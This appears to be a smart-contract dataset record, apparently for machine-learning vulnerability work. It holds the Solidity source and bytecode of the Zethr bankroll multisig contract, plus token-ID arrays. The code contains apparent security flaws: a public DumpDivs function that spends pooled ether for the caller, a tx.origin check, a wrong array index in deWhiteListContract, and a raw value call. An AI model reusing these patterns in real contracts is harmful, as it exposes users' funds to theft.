49350505050565b9687526001600160a01b0395861660208801529390941660408601526060850191909152608084015260a083019190915260c082015260e00190565b6020815260008251806020840152612b56816040850160208701612d82565b601f01601f19169190910160400192915050565b6020808252601d908201527f4249434f3a3a204f6e6c7920476f7665726e6f722063616e2063616c6c000000604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526017908201527f4249434f3a3a205061757361626c653a20706175736564000000000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60008219821115612c7057612c70612e1b565b500190565b600181815b80851115612cb0578160001904821115612c9657612c96612e1b565b80851615612ca357918102915b93841c9390800290612c7a565b509250929050565b60006124ad60ff841683600082612cd1575060016106a8565b81612cde575060006106a8565b8160018114612cf45760028114612cfe57612d1a565b60019150506106a8565b60ff841115612d0f57612d0f612e1b565b50506001821b6106a8565b5060208310610133831016604e8410600b8410161715612d3d575081810a6106a8565b612d478383612c75565b8060001904821115612d5b57612d5b612e1b565b029392505050565b6000816000190483118215151615612d7d57612d7d612e1b565b500290565b60005b83811015612d9d578181015183820152602001612d85565b83811115611fc75750506000910152565b600081612dbd57612dbd612e1b565b506000190190565b600181811c90821680612dd957607f821691505b60208210811415612dfa57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612e1457612e14612e1b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a5157600080fdfe65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862aa264697066735822122010e8975a797cb9c8ae96213bba76d34f3df3973e3eba674ac12048bcea93acbd64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 9468, 2509, 27717, 2692, 2575, 21619, 2278, 2629, 2497, 20952, 7959, 12740, 19961, 2094, 2581, 29292, 8889, 12879, 2497, 2581, 2620, 2581, 2063, 2487, 19473, 2487, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1020, 1012, 1019, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 24540, 1013, 21183, 12146, 1013, 3988, 21335, 3468, 1012, 14017, 1030, 1058, 2549, 1012, 1017, 1012, 1016, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 2003, 1037, 2918, 3206, 2000, 4681, 1999, 3015, 12200, 3085, 8311, 1010, 2030, 2151, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,840
0x95cd217da207e35e3ac4cade6e766d5fb6fdaf8d
pragma solidity ^0.4.23; /** ███████╗███████╗████████╗██╗ ██╗██████╗ ╚══███╔╝██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ███╔╝ █████╗ ██║ ███████║██████╔╝ ███╔╝ ██╔══╝ ██║ ██╔══██║██╔══██╗ ███████╗███████╗ ██║ ██║ ██║██║ ██║ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ .------..------. .------..------..------. .------..------..------..------..------. |B.--. ||E.--. |.-. |T.--. ||H.--. ||E.--. |.-. |H.--. ||O.--. ||U.--. ||S.--. ||E.--. | | :(): || (\/) (( )) | :/\: || :/\: || (\/) (( )) | :/\: || :/\: || (\/) || :/\: || (\/) | | ()() || :\/: |'-.-.| (__) || (__) || :\/: |'-.-.| (__) || :\/: || :\/: || :\/: || :\/: | | '--'B|| '--'E| (( )) '--'T|| '--'H|| '--'E| (( )) '--'H|| '--'O|| '--'U|| '--'S|| '--'E| `------'`------' '-'`------'`------'`------' '-'`------'`------'`------'`------'`------' An interactive, variable-dividend rate contract with an ICO-capped price floor and collectibles. Bankroll contract, containing tokens purchased from all dividend-card profit and ICO dividends. Acts as token repository for games on the Zethr platform. Launched at 00:00 GMT on 12th May 2018. Credits ======= Analysis: blurr Randall Contract Developers: Etherguy klob Norsefire Front-End Design: cryptodude oguzhanox TropicalRogue **/ contract ZTHInterface { function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass) public payable returns (uint); function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool); function exit() public; function sell(uint amountOfTokens) public; function withdraw(address _recipient) public; } contract ERC223Receiving { function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); } contract ZethrBankroll is ERC223Receiving { using SafeMath for uint; /*================================= = EVENTS = =================================*/ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event WhiteListAddition(address indexed contractAddress); event WhiteListRemoval(address indexed contractAddress); event RequirementChange(uint required); event DevWithdraw(uint amountTotal, uint amountPerPerson); event EtherLogged(uint amountReceived, address sender); event BankrollInvest(uint amountReceived); event DailyTokenAdmin(address gameContract); event DailyTokensSent(address gameContract, uint tokens); event DailyTokensReceived(address gameContract, uint tokens); /*================================= = WITHDRAWAL CONSTANTS = =================================*/ uint constant public MAX_OWNER_COUNT = 10; uint constant public MAX_WITHDRAW_PCT_DAILY = 15; uint constant public MAX_WITHDRAW_PCT_TX = 5; uint constant internal resetTimer = 1 days; /*================================= = ZTH INTERFACE = =================================*/ address internal zethrAddress; ZTHInterface public ZTHTKN; /*================================= = VARIABLES = =================================*/ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; mapping (address => bool) public isWhitelisted; mapping (address => uint) public dailyTokensPerContract; address internal divCardAddress; address[] public owners; address[] public whiteListedContracts; uint public required; uint public transactionCount; uint internal dailyResetTime; uint internal dailyTknLimit; uint internal tknsDispensedToday; bool internal reEntered = false; /*================================= = CUSTOM CONSTRUCTS = =================================*/ struct Transaction { address destination; uint value; bytes data; bool executed; } struct TKN { address sender; uint value; } /*================================= = MODIFIERS = =================================*/ modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier contractIsNotWhiteListed(address contractAddress) { if (isWhitelisted[contractAddress]) revert(); _; } modifier contractIsWhiteListed(address contractAddress) { if (!isWhitelisted[contractAddress]) revert(); _; } modifier isAnOwner() { address caller = msg.sender; if (!isOwner[caller]) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /*================================= = LIST OF OWNERS = =================================*/ /* This list is for reference/identification purposes only, and comprises the eight core Zethr developers. For game contracts to be listed, they must be approved by a majority (i.e. currently five) of the owners. Contracts can be delisted in an emergency by a single owner. 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae // Norsefire 0x11e52c75998fe2E7928B191bfc5B25937Ca16741 // klob 0x20C945800de43394F70D789874a4daC9cFA57451 // Etherguy 0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB // blurr 0x8537aa2911b193e5B377938A723D805bb0865670 // oguzhanox 0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3 // Randall 0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696 // cryptodude 0xDa83156106c4dba7A26E9bF2Ca91E273350aa551 // TropicalRogue */ /*================================= = PUBLIC FUNCTIONS = =================================*/ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor (address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; dailyResetTime = now - (1 days); } /** Testing only. function exitAll() public { uint tokenBalance = ZTHTKN.balanceOf(address(this)); ZTHTKN.sell(tokenBalance - 1e18); ZTHTKN.sell(1e18); ZTHTKN.withdraw(address(0x0)); } **/ function addZethrAddresses(address _zethr, address _divcards) public isAnOwner { zethrAddress = _zethr; divCardAddress = _divcards; ZTHTKN = ZTHInterface(zethrAddress); } /// @dev Fallback function allows Ether to be deposited. function() public payable { } uint NonICOBuyins; function deposit() public payable { NonICOBuyins = NonICOBuyins.add(msg.value); } mapping(address => uint) playerRoundSendMSG; mapping(address => uint) playerRoundSendTime; uint playerTotalRounds = 100; // init to prevent underflows function DumpDivs() public { require(tx.origin == msg.sender); require((now - 1 hours) >= playerRoundSendTime[msg.sender]); require((playerRoundSendMSG[msg.sender]+100) >= playerTotalRounds); playerRoundSendMSG[msg.sender] = playerTotalRounds; playerRoundSendTime[msg.sender] = now; playerTotalRounds = playerTotalRounds + 1; ZTHTKN.buyAndSetDivPercentage.value(NonICOBuyins)(msg.sender, 33, ""); } /// @dev Function to buy tokens with contract eth balance. function buyTokens() public payable isAnOwner { uint savings = address(this).balance; if (savings > 0.01 ether) { ZTHTKN.buyAndSetDivPercentage.value(savings)(address(0x0), 33, ""); emit BankrollInvest(savings); } else { emit EtherLogged(msg.value, msg.sender); } } function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes /*_data*/) public returns (bool) { // Nothing, for now. Just receives tokens. } /// @dev Calculates if an amount of tokens exceeds the aggregate daily limit of 15% of contract /// balance or 5% of the contract balance on its own. function permissibleTokenWithdrawal(uint _toWithdraw) public returns(bool) { uint currentTime = now; uint tokenBalance = ZTHTKN.balanceOf(address(this)); uint maxPerTx = (tokenBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100); require (_toWithdraw <= maxPerTx); if (currentTime - dailyResetTime >= resetTimer) { dailyResetTime = currentTime; dailyTknLimit = (tokenBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100); tknsDispensedToday = _toWithdraw; return true; } else { if (tknsDispensedToday.add(_toWithdraw) <= dailyTknLimit) { tknsDispensedToday += _toWithdraw; return true; } else { return false; } } } /// @dev Allows us to set the daily Token Limit function setDailyTokenLimit(uint limit) public isAnOwner { dailyTknLimit = limit; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) validRequirement(owners.length, required) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txToExecute = transactions[transactionId]; txToExecute.executed = true; if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txToExecute.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /*================================= = OPERATOR FUNCTIONS = =================================*/ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } // Additions for Bankroll function whiteListContract(address contractAddress) public isAnOwner contractIsNotWhiteListed(contractAddress) notNull(contractAddress) { isWhitelisted[contractAddress] = true; whiteListedContracts.push(contractAddress); // We set the daily tokens for a particular contract in a separate call. dailyTokensPerContract[contractAddress] = 0; emit WhiteListAddition(contractAddress); } // Remove a whitelisted contract. This is an exception to the norm in that // it can be invoked directly by any owner, in the event that a game is found // to be bugged or otherwise faulty, so it can be shut down as an emergency measure. // Iterates through the whitelisted contracts to find contractAddress, // then swaps it with the last address in the list - then decrements length function deWhiteListContract(address contractAddress) public isAnOwner contractIsWhiteListed(contractAddress) { isWhitelisted[contractAddress] = false; for (uint i=0; i < whiteListedContracts.length - 1; i++) if (whiteListedContracts[i] == contractAddress) { whiteListedContracts[i] = owners[whiteListedContracts.length - 1]; break; } whiteListedContracts.length -= 1; emit WhiteListRemoval(contractAddress); } function contractTokenWithdraw(uint amount, address target) public contractIsWhiteListed(msg.sender) { require(isWhitelisted[msg.sender]); require(ZTHTKN.transfer(target, amount)); } // Alters the amount of tokens allocated to a game contract on a daily basis. function alterTokenGrant(address _contract, uint _newAmount) public isAnOwner contractIsWhiteListed(_contract) { dailyTokensPerContract[_contract] = _newAmount; } function queryTokenGrant(address _contract) public view returns (uint) { return dailyTokensPerContract[_contract]; } // Function to be run by an owner (ideally on a cron job) which performs daily // token collection and dispersal for all whitelisted contracts. function dailyAccounting() public isAnOwner { for (uint i=0; i < whiteListedContracts.length; i++) { address _contract = whiteListedContracts[i]; if ( dailyTokensPerContract[_contract] > 0 ) { allocateTokens(_contract); emit DailyTokenAdmin(_contract); } } } // In the event that we want to manually take tokens back from a whitelisted contract, // we can do so. function retrieveTokens(address _contract, uint _amount) public isAnOwner contractIsWhiteListed(_contract) { require(ZTHTKN.transferFrom(_contract, address(this), _amount)); } // Dispenses daily amount of ZTH to whitelisted contract, or retrieves the excess. // Block withdraws greater than MAX_WITHDRAW_PCT_TX of Zethr token balance. // (May require occasional adjusting of the daily token allocation for contracts.) function allocateTokens(address _contract) public isAnOwner contractIsWhiteListed(_contract) { uint dailyAmount = dailyTokensPerContract[_contract]; uint zthPresent = ZTHTKN.balanceOf(_contract); // Make sure that tokens aren't sent to a contract which is in the black. if (zthPresent <= dailyAmount) { // We need to send tokens over, make sure it's a permitted amount, and then send. uint toDispense = dailyAmount.sub(zthPresent); // Make sure amount is <= tokenbalance*MAX_WITHDRAW_PCT_TX require(permissibleTokenWithdrawal(toDispense)); require(ZTHTKN.transfer(_contract, toDispense)); emit DailyTokensSent(_contract, toDispense); } else { // The contract in question has made a profit: retrieve the excess tokens. uint toRetrieve = zthPresent.sub(dailyAmount); require(ZTHTKN.transferFrom(_contract, address(this), toRetrieve)); emit DailyTokensReceived(_contract, toRetrieve); } emit DailyTokenAdmin(_contract); } // Dev withdrawal of tokens - splits equally among all owners of contract function devTokenWithdraw(uint amount) public onlyWallet { require(permissibleTokenWithdrawal(amount)); uint amountPerPerson = SafeMath.div(amount, owners.length); for (uint i=0; i<owners.length; i++) { ZTHTKN.transfer(owners[i], amountPerPerson); } emit DevWithdraw(amount, amountPerPerson); } // Change the dividend card address. Can't see why this would ever need // to be invoked, but better safe than sorry. function changeDivCardAddress(address _newDivCardAddress) public isAnOwner { divCardAddress = _newDivCardAddress; } // Receive Ether (from Zethr itself or any other source) and purchase tokens at the 33% dividend rate. // If the amount is less than 0.01 Ether, the Ether is stored by the contract until the balance // exceeds that limit and then purchases all it can. function receiveDividends() public payable { if (!reEntered) { uint ActualBalance = (address(this).balance.sub(NonICOBuyins)); if (ActualBalance > 0.01 ether) { reEntered = true; ZTHTKN.buyAndSetDivPercentage.value(ActualBalance)(address(0x0), 33, ""); emit BankrollInvest(ActualBalance); reEntered = false; } } } /*================================= = UTILITIES = =================================*/ // Convert an hexadecimal character to their value function fromHexChar(uint c) public pure returns (uint) { if (byte(c) >= byte('0') && byte(c) <= byte('9')) { return c - uint(byte('0')); } if (byte(c) >= byte('a') && byte(c) <= byte('f')) { return 10 + c - uint(byte('a')); } if (byte(c) >= byte('A') && byte(c) <= byte('F')) { return 10 + c - uint(byte('A')); } } // Convert an hexadecimal string to raw bytes function fromHex(string s) public pure returns (bytes) { bytes memory ss = bytes(s); require(ss.length%2 == 0); // length must be even bytes memory r = new bytes(ss.length/2); for (uint i=0; i<ss.length/2; ++i) { r[i] = byte(fromHexChar(uint(ss[2*i])) * 16 + fromHexChar(uint(ss[2*i+1]))); } return r; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x60806040526004361061023a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461023c578063173825d91461027057806320ea8d8614610291578063219df7ee146102a95780632f54bf6e146102be5780633192cccb146102f35780633411c81c1461032657806334e8c6791461034a5780633af32abf1461036e578063547415251461038f5780636d5d7612146103ae5780636f00a3cf146103c35780637065cb48146103d8578063743bdcef146103f9578063784547a71461040e57806379fc468714610426578063815dcd361461042e5780638b51d13f146104435780638e7e34d71461045b578063907132e814610529578063994b1a0f1461054a5780639ace38c21461056b578063a0e67e2b14610626578063a21383cb1461068b578063a8abe69a146106a3578063ae7a45ba146106c8578063b44ec921146106ef578063b5dc40c314610710578063b731270714610728578063b77bf60014610740578063ba51a6df14610755578063bf03ef7d1461076d578063c01a8c8414610785578063c0ee0b8a1461079d578063c5689e7d14610806578063c642747414610827578063cabfd1bf14610890578063d0e30db0146108b1578063d0febe4c146108b9578063d74f8edd146108c1578063db9090a7146108d6578063dc8452cd146108ee578063e20056e614610903578063e50dd26a1461092a578063ecbd15fd1461094e578063ee22610b14610972578063f0526bad1461098a575b005b34801561024857600080fd5b506102546004356109a2565b60408051600160a060020a039092168252519081900360200190f35b34801561027c57600080fd5b5061023a600160a060020a03600435166109ca565b34801561029d57600080fd5b5061023a600435610b73565b3480156102b557600080fd5b50610254610c2d565b3480156102ca57600080fd5b506102df600160a060020a0360043516610c3c565b604080519115158252519081900360200190f35b3480156102ff57600080fd5b50610314600160a060020a0360043516610c51565b60408051918252519081900360200190f35b34801561033257600080fd5b506102df600435600160a060020a0360243516610c70565b34801561035657600080fd5b5061023a600160a060020a0360043516602435610c90565b34801561037a57600080fd5b506102df600160a060020a0360043516610d89565b34801561039b57600080fd5b5061031460043515156024351515610d9e565b3480156103ba57600080fd5b50610314610e0a565b3480156103cf57600080fd5b5061023a610e0f565b3480156103e457600080fd5b5061023a600160a060020a0360043516610f34565b34801561040557600080fd5b50610314611051565b34801561041a57600080fd5b506102df600435611056565b61023a6110da565b34801561043a57600080fd5b5061023a611207565b34801561044f57600080fd5b506103146004356112c9565b34801561046757600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526104b49436949293602493928401919081908401838280828437509497506113389650505050505050565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104ee5781810151838201526020016104d6565b50505050905090810190601f16801561051b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053557600080fd5b50610314600160a060020a0360043516611436565b34801561055657600080fd5b5061023a600160a060020a0360043516611448565b34801561057757600080fd5b50610583600435611496565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156105e85781810151838201526020016105d0565b50505050905090810190601f1680156106155780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561063257600080fd5b5061063b611555565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561067757818101518382015260200161065f565b505050509050019250505060405180910390f35b34801561069757600080fd5b506102df6004356115b8565b3480156106af57600080fd5b5061063b600435602435604435151560643515156116f2565b3480156106d457600080fd5b5061023a600160a060020a036004358116906024351661182b565b3480156106fb57600080fd5b5061023a600160a060020a0360043516611896565b34801561071c57600080fd5b5061063b600435611999565b34801561073457600080fd5b50610314600435611b0a565b34801561074c57600080fd5b50610314611c8c565b34801561076157600080fd5b5061023a600435611c92565b34801561077957600080fd5b5061023a600435611d09565b34801561079157600080fd5b5061023a600435611d2d565b3480156107a957600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102df948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750611df69650505050505050565b34801561081257600080fd5b5061023a600160a060020a0360043516611dff565b34801561083357600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610314948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750611f769650505050505050565b34801561089c57600080fd5b5061023a600160a060020a0360043516611f95565b61023a6122ee565b61023a612306565b3480156108cd57600080fd5b50610314612459565b3480156108e257600080fd5b5061023a60043561245e565b3480156108fa57600080fd5b506103146125a8565b34801561090f57600080fd5b5061023a600160a060020a03600435811690602435166125ae565b34801561093657600080fd5b5061023a600435600160a060020a0360243516612738565b34801561095a57600080fd5b5061023a600160a060020a036004351660243561281a565b34801561097e57600080fd5b5061023a60043561287f565b34801561099657600080fd5b506102546004356129dc565b60088054829081106109b057fe5b600091825260209091200154600160a060020a0316905081565b60003330146109d857600080fd5b600160a060020a038216600090815260046020526040902054829060ff161515610a0157600080fd5b600854600a805490821180610a1557508181115b80610a1e575080155b80610a27575081155b15610a3157600080fd5b600160a060020a0385166000908152600460205260408120805460ff1916905593505b60085460001901841015610b0c5784600160a060020a0316600885815481101515610a7b57fe5b600091825260209091200154600160a060020a03161415610b0157600880546000198101908110610aa857fe5b60009182526020909120015460088054600160a060020a039092169186908110610ace57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610b0c565b600190930192610a54565b600880546000190190610b1f9082612b3d565b50600854600a541115610b3857600854610b3890611c92565b604051600160a060020a038616907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050505050565b3360008181526004602052604090205460ff161515610b9157600080fd5b60008281526003602090815260408083203380855292529091205483919060ff161515610bbd57600080fd5b600084815260026020526040902060030154849060ff1615610bde57600080fd5b6000858152600360209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b600154600160a060020a031681565b60046020526000908152604090205460ff1681565b600160a060020a0381166000908152600660205260409020545b919050565b600360209081526000928352604080842090915290825290205460ff1681565b3360008181526004602052604090205460ff161515610cae57600080fd5b600160a060020a038316600090815260056020526040902054839060ff161515610cd757600080fd5b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015230602483015260448201879052915191909216916323b872dd9160648083019260209291908290030181600087803b158015610d4c57600080fd5b505af1158015610d60573d6000803e3d6000fd5b505050506040513d6020811015610d7657600080fd5b50511515610d8357600080fd5b50505050565b60056020526000908152604090205460ff1681565b6000805b600b54811015610e0357838015610dcb575060008181526002602052604090206003015460ff16155b80610def5750828015610def575060008181526002602052604090206003015460ff165b15610dfb576001820191505b600101610da2565b5092915050565b600f81565b323314610e1b57600080fd5b33600090815260126020526040902054610e0f1942011015610e3c57600080fd5b601354336000908152601160205260409020546064011015610e5d57600080fd5b60138054336000818152601160209081526040808320949094556012815283822042905584546001908101909555935460105484517f724fcd4c0000000000000000000000000000000000000000000000000000000081526004810194909452602160248501526060604485015260648401929092529251600160a060020a039093169363724fcd4c93919260a4808201939182900301818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d6020811015610f3057600080fd5b5050565b333014610f4057600080fd5b600160a060020a038116600090815260046020526040902054819060ff1615610f6857600080fd5b81600160a060020a0381161515610f7e57600080fd5b600880549050600101600a54600a821180610f9857508181115b80610fa1575080155b80610faa575081155b15610fb457600080fd5b600160a060020a038516600081815260046020526040808220805460ff1916600190811790915560088054918201815583527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee301805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600581565b600080805b6008548110156110d3576000848152600360205260408120600880549192918490811061108457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156110b8576001820191505b600a548214156110cb57600192506110d3565b60010161105b565b5050919050565b600f5460009060ff161515611204576010546110fe9030319063ffffffff6129ea16565b9050662386f26fc1000081111561120457600f805460ff1916600190811790915554604080517f724fcd4c000000000000000000000000000000000000000000000000000000008152600060048201819052602160248301526060604483015260648201529051600160a060020a039092169163724fcd4c91849160a480830192602092919082900301818588803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b50505050506040513d60208110156111c457600080fd5b50506040805182815290517f0bd55c801ccaecb2e495eda7f76e3063fa3957b398800d8358fd7fd79326679d9181900360200190a1600f805460ff191690555b50565b33600081815260046020526